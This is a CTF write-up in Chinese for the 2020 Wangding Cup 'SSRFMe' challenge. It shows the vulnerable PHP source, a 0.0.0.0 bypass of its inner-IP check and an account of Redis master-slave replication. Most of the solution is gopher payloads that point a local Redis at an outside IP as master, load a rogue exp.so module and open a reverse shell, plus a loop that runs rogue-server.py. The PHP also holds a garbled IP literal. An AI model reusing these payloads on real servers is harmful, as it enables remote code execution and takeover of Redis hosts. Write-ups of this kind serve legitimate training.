[网鼎杯 2020 玄武组]SSRFMe-解题步骤详解

<?phpfunction check_inner_ip($url){    $match_result=preg_match('/^(http|https|gopher|dict)?://.*(/)?.*$/',$url);    if (!$match_result)    {        die('url fomat error');    }    try    {        $url_parse=parse_url($url);    }    catch(Exception $e)    {        die('url fomat error');        return false;    }    $hostname=$url_parse['host'];    $ip=gethostbyname($hostname);    $int_ip=ip2long($ip);    return ip2long('127.0.0 n.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;}function safe_request_url($url){    if (check_inner_ip($url))    {        echo $url.' is inner ip';    }    else    {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        curl_setopt($ch, CURLOPT_HEADER, 0);        $output = curl_exec($ch);        $result_info = curl_getinfo($ch);        if ($result_info['redirect_url'])        {            safe_request_url($result_info['redirect_url']);        }        curl_close($ch);        var_dump($output);    }}if(isset($_GET['url'])){    $url = $_GET['url'];    if(!empty($url)){        safe_request_url($url);    }}else{    highlight_file(__FILE__);}// Please visit hint.php locally.?>

https://blog.csdn.net/qq_39293438/article/details/84899550

?url=http://0.0.0.0/hint.php //0.0.0.0

主从复制，是指将一台Redis服务器的数据，复制到其他的Redis服务器。前者称为主节点(master)，后者称为从节点(slave)；数据的复制是单向的，只能由主节点到从节点。redis的持久化使得机器即使重启数据也不会丢失，因为redis服务器重启后会把硬盘上的文件重新恢复到内存中，但是如果硬盘的数据被删除的话数据就无法恢复了，如果通过主从复制就能解决这个问题，主redis的数据和从redis上的数据保持实时同步，当主redis写入数据是就会通过主从复制复制到其它从redis。

gopher://0.0.0.0:6379/_auth rootconfig set dir /tmp/quit//这里要二次url编码gopher://0.0.0.0:6379/_auth%2520root%250aconfig%2520set%2520dir%2520%252ftmp%252f%250aquitgopher://0.0.0.0:6379/_auth rootconfig set dbfilename exp.soslaveof 174.1.160.222 6666quitgopher://0.0.0.0:6379/_auth rootmodule load /tmp/exp.sosystem.rev 174.1.160.222 6663quit

https://github.com/xmsec/redis-ssrf

https://github.com/n0b0dyCN/redis-rogue-server

while [ "1" = "1" ]dopython rogue-server.pydone